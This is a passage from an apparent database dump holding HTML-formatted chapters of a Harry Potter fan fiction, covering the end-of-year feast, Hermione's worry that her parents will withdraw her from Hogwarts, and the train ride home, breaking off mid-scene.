class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood.\n&#8220;Right, I almost forgot.&nbsp; Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So they headed\ndown to Hagrid&#8217;s hut, the light of the late afternoon sun beating down on them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh &#8216;ello,&#8221;\nHagrid said cheerily as he opened the door to let them into his cabin. &#8220;Have\nyou heard, Harry&#8217;s awake.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes we have,&#8221;\nHermione said taking a seat. &#8220;We came down here to let you know just in case\nyou didn&#8217;t.&nbsp; Have you been to see him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230; no... not\nyet.&#8221; Hagrid said. &#8220;I wanted to finish making him something before I went to\nsee him.&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh what are you\nmaking?&#8221; Hermione asked, hoping it wasn&#8217;t any sort of food.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;An album of\nwizard&#8217;s photos of his parents.&#8221; Hagrid explained, pointing to an open book on\nthe table. &#8220;He doesn&#8217;t have any pictures of them.&nbsp; So I thought he&#8217;d like this.&nbsp; I&#8217;m just waiting for some&#8217;ore to arrive.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sure he\nwill,&#8221; Hermione beamed. &#8220;That&#8217;s really very thoughtful of you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I feel bad\nthinking that summat could have happened to Harry and it was all my fault.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It wasn&#8217;t your\nfault,&#8221; Ron said immediately.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course not,&#8221;\nHermione added readily. &#8220;Harry&#8217;s so stubborn, he would have gone after &#8216;you\nknow who&#8217; even if he didn&#8217;t know how to get past Fluffy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid looked\nlike he was trying to hold back tears. &#8220;Well anyway, I&#8217;m just glad you three are\nokay.&nbsp; And don&#8217;t go doing anything stupid\nlike that again, ya&#8217;here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll try.&#8221;\nHermione nodded.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can&#8217;t make any\npromises though,&#8221; Ron added wirily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron!&#8221; Hermione\nsaid in her trademark, disapproving voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They sat and\ntalked with Hagrid for another hour or so but left when they saw he was about\nto offer them some of the dinner he was cooking up, saying they needed to head\nback to the castle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Later that night,\nHermione headed to bed at her normal time.&nbsp;\nIt wasn&#8217;t until she was crawling under the sheets that she realized how\ntired she actually was.&nbsp; Staying up late\nthese past two nights had definitely taken its toll and she was glad to be\nreturning to her regular sleep pattern.&nbsp;\nShe was also happy that she didn&#8217;t have to worry about Harry any more.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; However as sleep\nbegan to overtake her, she realized that it wasn&#8217;t completely over yet.&nbsp; She still had one more thing to face.&nbsp; Would her parents let her return to Hogwarts\nnext term? </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 19, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; Well if you&#8217;ve made it this far,\ncongratulations.&nbsp; This is the last\nchapter.&nbsp; Hermione still must face the\nprospect of never returning to Hogwarts and seeing her friends again.&nbsp; What will convince her parents to let her\nstay?</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here\n---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione knew she\nneeded to tell Harry about the possibility of her not coming back to\nHogwarts.&nbsp; She felt she owed him at least\nthat.&nbsp; After the end of year feast seemed\nlike the best time.&nbsp; Madam Pomfrey still\nhadn&#8217;t released Harry from the hospital wing but McGonagall had said that Harry\nwould be going and he seemed well enough to attend.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That evening in\nthe great hall, Ron and Hermione saved a seat between them for Harry and waited\nfor him to arrive.&nbsp; After a while it\nseemed that the whole school was there but still no Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you think\nhe&#8230;&#8221; Ron started but just as he did, Harry appeared at the threshold.&nbsp; Everyone in the room fell silent and all eyes\nwere on him.&nbsp; It was the kind of entrance\nyou only saw on muggle television dramas.&nbsp;\nBefore long the usual noise returned to the great hall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry slipped\nquietly between them and after a while, Dumbledore stood to address the entire\nschool.&nbsp; He was going to award the house\ncup to Slytherin.&nbsp; Hermione risked a\nglance over at the Slytherin table and she could see Pansy and Malfoy, both\nlooking particularly pleased about the whole thing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;It&#8217;s not fair,&#8221;</i> Hermione thought as\nDumbledore began to announce the total points for each house.&nbsp; Gryffindor was in forth place, 160 points\nbehind the Slytherins, and they could have easily been first if it hadn&#8217;t been\nfor the 150 points that they lost earlier that year.&nbsp; <i style="mso-bidi-font-style:normal">&#8220;We\nsave the world from the return of Voldemort; can&#8217;t we get a few points for\nthat.&#8221; </i>If anything she wanted to win the cup just to shut Pansy up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well done\nSlytherin,&#8221; Dumbledore was saying now. &#8220;However recent events must be taken\ninto account.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nup, genuinely interested now.&nbsp; Was\nDumbledore about to do what she thought he was about to do?&nbsp; If so, this end of year feast would turn out\nto be the greatest upset in seven years.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have a few\nlast minute points to dish out,&#8221; Dumbledore said and although he had a serious\nexpression on his face, Hermione could tell he was quite enjoying the intense\nsilence.&nbsp; Everyone knew what he was going\nto do, but no one knew how he was going to do it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;First to Mr. Ronald\nWeasley for the best played game of chess Hogwarts has seen in many years, I\naward Gryffindor House fifty points.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone at the\ntable started cheering.&nbsp; Hermione\nsmiled.&nbsp; This was going to be very\ninteresting.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As silence fell,\nDumbledore continued. &#8220;Second to Ms. Hermione Granger for the use of cool logic\nin the face of fire, I award Gryffindor House fifty points.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was so\nincredibly happy that words failed her.&nbsp;\nShe just buried her head in her arms and tried to keep from crying as\nshe remembered that this may be the last happy moment she had at Hogwarts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore\ncontinued and there could be no doubt what he would do next. &#8220;Third, to Mr.\nHarry Potter for pure nerve and outstanding courage, I award Gryffindor House\nsixty points.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re tied with\nSlytherin,&#8221; Hermione shouted as everyone at the table burst into cheers again.\n&#8220;Are both houses going to win the cup?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But to everyone&#8217;s\nsurprise, Dumbledore wasn&#8217;t through. &#8220;There are all kinds of courage.&nbsp; It takes a great deal of bravery to stand up\nto our enemies but just as much to stand up to our friends.&nbsp; I therefore award ten points to Mr. Neville&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione couldn&#8217;t\neven hear the last of Dumbledore&#8217;s sentence, so loud were the cheers.&nbsp; You would have thought there was an explosion\nin the great hall for almost everyone, minus the Slytherins, was shouting.&nbsp; Hermione had to jump out of the way as\nGryffindors rushed to hug Neville.&nbsp; She\nsmiled.&nbsp; If anyone deserved to have his\nmoment in the spotlight, it was Neville.&nbsp;\nShe hoped that Gryffindor house wouldn&#8217;t soon forget the final ten\npoints that put them over the top.&nbsp; She\nknew Dumbledore had done this on purpose, and she was glad for it.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\ntell Harry about her parents that night.&nbsp;\nEveryone in Gryffindor was celebrating in the common room long after the\nend of year feast.&nbsp; The Weasley twins in\ntheir usual clandestine fashion managed to sneak a ton of sweets from the\nkitchens and the party went on well into the night.&nbsp; Hermione joined in the celebration,\nforgetting her worries for a while, just glad to be with her two best friends\nfor a little while longer.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m never going\nto forget this night,&#8221; Harry told her as they found an un-crowded corner of the\ncommon room to sit down.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me either,&#8221;\nHermione agreed. &#8220;I wish it would never end.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, there&#8217;s\nalways next year,&#8221; Harry grinned. &#8220;Although I hope it&#8217;s not nearly as intense\nas this year has been.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, next\nyear&#8230;&#8221; Hermione took a long gulp of tea to avoid talking or looking at Harry,\nbut it was too late, he&#8217;d caught it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Something\nwrong?&#8221; Harry asked her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione put on a\nhuge grin. &#8220;Not a thing!&nbsp; I was just\nthinking, how are we going to top this next year?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmm, I think\nwe&#8217;ll have to stop Voldemort for good next year.&#8221; Harry said flippantly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry&#8230;&#8221; Hermione\nstarted in a chastising voice, but then she grinned too. &#8220;Then again, I bet you\ncould.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you\nkidding,&#8221; Harry laughed. &#8220;What with the cleverest witch in Hogwarts on my\nside.&#8221; Ron came up to join them at that moment, &#8220;And the bravest, most daring,\nWeasley to back me up, I can do anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron held up his\nglass, &#8220;I&#8217;ll drink to that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and\nHermione did the same. &#8220;Cheers.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The afterglow of\nthe end of year feast lasted for several days.&nbsp;\nIt ended abruptly however when the exam results came out.&nbsp; Everyone flitted nervously to their head of\nhouse&#8217;s offices to find out how they faired.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was in\nno particular rush, not because she feared her exam results but rather because\nshe basically knew them already, and they gave her no comfort.&nbsp; But the morning that they were posted, Harry\nand Ron dragged her down with them to McGonagall&#8217;s office to get &#8220;the verdict&#8221;\nas they put it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Top marks, I\nshould have known,&#8221; Ron scoffed as he looked at Hermione&#8217;s scores. &#8220;You&#8217;re top\nof the whole class.&nbsp; How do you do it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, studying\nRon,&#8221; Hermione said testily. &#8220;Perhaps if you tried it some time you&#8217;d do as\nwell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve got good\nmarks too Ron, don&#8217;t complain,&#8221; Harry said trying to stop a potential argument.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah you&#8217;re\nright.&nbsp; Hey Neville,&#8221; Ron called, &#8220;Way to\ngo in Herbology.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah if it\nweren&#8217;t for that, my marks in potions would have killed me,&#8221; Neville said with\na slight grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t let Snape\nget you down, he&#8217;s just mad because it was your points that beat his house,&#8221;\nHarry reminded him and Neville beamed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pulled\nher sheet off the wall and put it in her pocket.&nbsp; &#8220;Um, I&#8217;ll be back in a bit; just have to run\na quick errand,&#8221; she muttered softly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait a minute,&#8221;\nHarry stopped her. &#8220;Where are you off to?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Owlery,&#8221;\nHermione answered vaguely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well we&#8217;ll come\nup with you; right Ron?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Ron was still\ntalking with Neville. &#8220;Huh?&nbsp; But I\npromised Neville here I&#8217;d teach him some chess strategy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh never mind,&#8221;\nHermione waved them off, &#8220;I&#8217;ll be back.&#8221; and she started down the hall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A few seconds\nlater Harry had caught up with her. &#8220;I don&#8217;t want to see another chessboard for\na long time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you\nfollowing me,&#8221; Hermione teased.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, until you\ntell me what&#8217;s up with you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What makes you\nthink anything&#8217;s up with me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Potter intuition,&#8221;\nHarry said with a grin.<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Very funny.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what&#8217;s up?&#8221;\nHarry pressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing,&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not a\ngood liar.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And you&#8217;re a\nnosey git!&#8221; Hermione said light-heartedly still trying to convince him that there\nwas nothing wrong.&nbsp; She didn&#8217;t want to\ntell him; not now.&nbsp; It just wasn&#8217;t the\nright time.&nbsp; But then again, what better\nopportunity would she have.&nbsp;&nbsp; Ron was off\nplaying chess and they were alone headed up to the owlery with no one to\ninterrupt them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yup,&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She took a deep\nbreath and just let it all come out. &#8220;I don&#8217;t think I&#8217;m going to be back at\nHogwarts next year.&nbsp; When my parents got\nthe letter from McGonagall they went ballistic.&nbsp;\nMy mum wrote me and basically said that she&#8217;d never been more\ndisappointed in me.&nbsp; Well you know I\nwrote her back, of course.&nbsp; I tried to\nexplain to them that it wasn&#8217;t like what McGonagall had told them, but it still\ndoesn&#8217;t change the fact that I snuck out that night and they were still really\nupset about how much trouble I got into, no matter what the reason.&nbsp; I just don&#8217;t know what to do, Harry.&nbsp; I mean, I&#8217;ve run out of ideas, which is why\nI&#8217;m headed up to the owlery to send my folks my marks, you know.&nbsp; I mean they can&#8217;t think I&#8217;m doing but so bad\nif I&#8217;m top of my class.&nbsp; Still I don&#8217;t\nthink it&#8217;ll be enough.&nbsp; I mean you&#8217;ve\nnever met my father.&nbsp; He can be awfully\nstrict at times.&nbsp; Not that he doesn&#8217;t\nlove me, of course but he just wants the best for me academically and sometimes\nthat doesn&#8217;t fall in line with what I actually want and I really want to stay here.&nbsp; I&#8217;ve never been so happy in my whole life and\nthe thought of not coming back is driving me out of my mind.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded as\nthey entered the owlery. &#8220;I see.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stared\nat him in awe. &#8220;Harry did you understand anything that I just told you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;More or less,&#8221;\nHarry said, sitting down on a nearby crate. &#8220;Your parents are upset about what\nhappened when we snuck Norbert out and they&#8217;ve threatened to pull you out of\nHogwarts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded,\nstill amazed about how calm he was about it.&nbsp;\n<i style="mso-bidi-font-style:normal">&#8220;Maybe he doesn&#8217;t care whether or\nnot I come back.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Harry just\nsmiled. &#8220;You&#8217;ll be alright Hermione.&nbsp; I\nknow you.&nbsp; You won&#8217;t let your parents\npull you out of Hogwarts.&nbsp; It&#8217;s not like\nyou to just give up on anything.&nbsp; You&#8217;re\ntoo stubborn.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nwriting a note to her parents on a spare bit of parchment.&nbsp; Then she stuffed the note along with her\nmarks into an envelope and looked for an owl that was awake. &#8220;How come you have\nmore faith in me than I do most times?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shrugged.\n&#8220;I don&#8217;t know.&nbsp; I guess it&#8217;s the same way\nyou have faith in me all the time even though I don&#8217;t understand why.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nagain. &#8220;I guess.&#8221; She tried to hide her face because she knew she was starting\nto tear up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry came up and\npatted her gingerly on the back. &#8220;Don&#8217;t worry Hermione.&nbsp; You&#8217;re going to be okay.&nbsp; You&#8217;ll sort this out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; she\nsaid wiping her eyes.&nbsp; She busied herself\nwith tying her letter to a nearby owl. &#8220;I&#8217;m sorry I&#8217;m so emotional all the\ntime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s okay.&nbsp; I&#8217;m kind of use to it by now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know, I&#8217;m such\na girl.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You are?&#8221; Harry\nasked in mock-shock.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nher eyes with a grin. &#8220;I don&#8217;t know why I bother with you.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\ndefinitely felt better after she talked with Harry.&nbsp; She spent the last few days at Hogwarts worry\nfree, a decidedly nice change.&nbsp; She,\nHarry, and Ron spent their time either up in the common room, outside playing\ngames with their classmates, or in Hagrid&#8217;s Hut trying to convince him that\nimporting rare and potentially dangerous magical creatures over the summer\nwasn&#8217;t a wise idea.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The night before\nthe train would take them back to Kings Cross Station, Hermione packed her\ntrunk.&nbsp; She seemed to have more things\ngoing back then she remembered bringing and had to do some creative organizing\nto fit it all into her trunk.&nbsp; Of course\nher plight wasn&#8217;t nearly as bad as Parvati who had brought up a ton of extra\nclothes after the Christmas holidays and hadn&#8217;t taken into account the fact\nthat she had to bring it all back home.&nbsp;\nHermione obliged her roommate by doing a compression charm which helped\nParvati fit all her clothes into her single trunk.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m just glad we\ndon&#8217;t have to carry these things down to the entrance hall,&#8221; Lavender said as\nshe slammed her trunk shut.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How do they get\nour trunks onto the train anyway?&#8221; Parvati asked and both girls turned to\nHermione.&nbsp; They were used to her always\nhaving the answers.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I really don&#8217;t\nknow,&#8221; Hermione answered honestly, though she&#8217;d debated making something up\njust for the fun of it. &#8220;I suppose it&#8217;s some sort of spell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I swear it&#8217;s\nlike they have some team of butlers running around the castle that we don&#8217;t\nknow about,&#8221; Parvati said bouncing on her bed. &#8220;I&#8217;m going to miss it here, but\nI&#8217;m glad for the summer break.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me too, I miss\nmy friends from home,&#8221; Lavender added. &#8220;What about you Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230;&#8221; she thought\nfor a moment. &#8220;Well you know me; I&#8217;m too into school to care about the holidays\nso I&#8217;ll just be glad to get back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Hermione, you\nneed to get out more,&#8221; Parvati laughed.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione\nGranger, muggle born, and greatest witch of her year at Hogwarts Academy,&#8221; Ron\nsaid as they rode back to London on the Hogwarts Express. &#8220;I don&#8217;t know what\nwe&#8217;re going to do with you next year.&nbsp;\nWe&#8217;ll need a whole extra room just for your ego.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re the only\none making a big deal about it, Ron.&#8221; Hermione said from behind a book.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s got a\npoint,&#8221; Harry agreed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You two.&nbsp; You like ganging up on me don&#8217;t you,&#8221; Ron\nsaid in disdain.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You make it so\neasy,&#8221; Hermione said turning a page.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s got a\npoint,&#8221; Harry agreed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron huffed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re nearing London,&#8221;\nHarry observed. &#8220;Back to the muggle world.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Goodie,&#8221;\nHermione said not bothering to look up from her book. &#8220;I just hope I can get my\nparents to take me to Diagon Alley early this summer. I want to get some of my books\nearly for next term so I can start studying.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled at\nher and she knew it was because she was already acting positive about the\npossibility of coming back next year.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221; Ron\nsaid in shock. &#8220;The break hasn&#8217;t even started and you&#8217;re already thinking about\nnext term?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And you wonder\nwhy&#8217;s she&#8217;s top of our class?&#8221; Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You act like\nthis doesn&#8217;t bother you,&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It doesn&#8217;t,&#8221;\nHarry agreed. &#8220;I&#8217;ve learned to let Hermione be herself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s right\nbecause he knows that if he doesn&#8217;t, I&#8217;ll turn him into a toad,&#8221; Hermione added\ndryly, fingering her wand.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Very funny,&#8221; Ron\nsaid with a forced laugh.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who says I was\njoking?&#8221; Hermione said with the same flat tone.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh no&#8230; you&#8217;re\nnot tricking me this time,&#8221; Ron folded his arms determinedly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you\ntalking about,&#8221; Harry gave him a quizzical look. &#8220;She&#8217;s serious.&nbsp; She almost got caught by McGonagall when she\ntransfigured Pansy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221;&nbsp; Ron looked back and forth from Hermione, who\nwas suddenly looking very dangerous with her wand, to Harry who had a very\nserious expression on his face. &#8220;Okay, you know what.&nbsp; I don&#8217;t think you&#8217;ve got all your marbles,\neither of you.&nbsp; I&#8217;m going to go see what Fred\nand George are up to.&nbsp; I&#8217;ll be back when\nshe&#8217;s calmed down a bit.&#8221; He stumbled backwards out of the compartment.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you think\nhe&#8217;ll ever learn?&#8221; Harry said with a grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nope,&#8221; Hermione\nsaid returning to her book and they both started laughing.&nbsp; After a bit, she put the book back down.\n&#8220;Harry, did you know that I came to visit you when you were in the hospital\nwing unconscious?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You did?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I used your\ninvisibility cloak to sneak down to the hospital 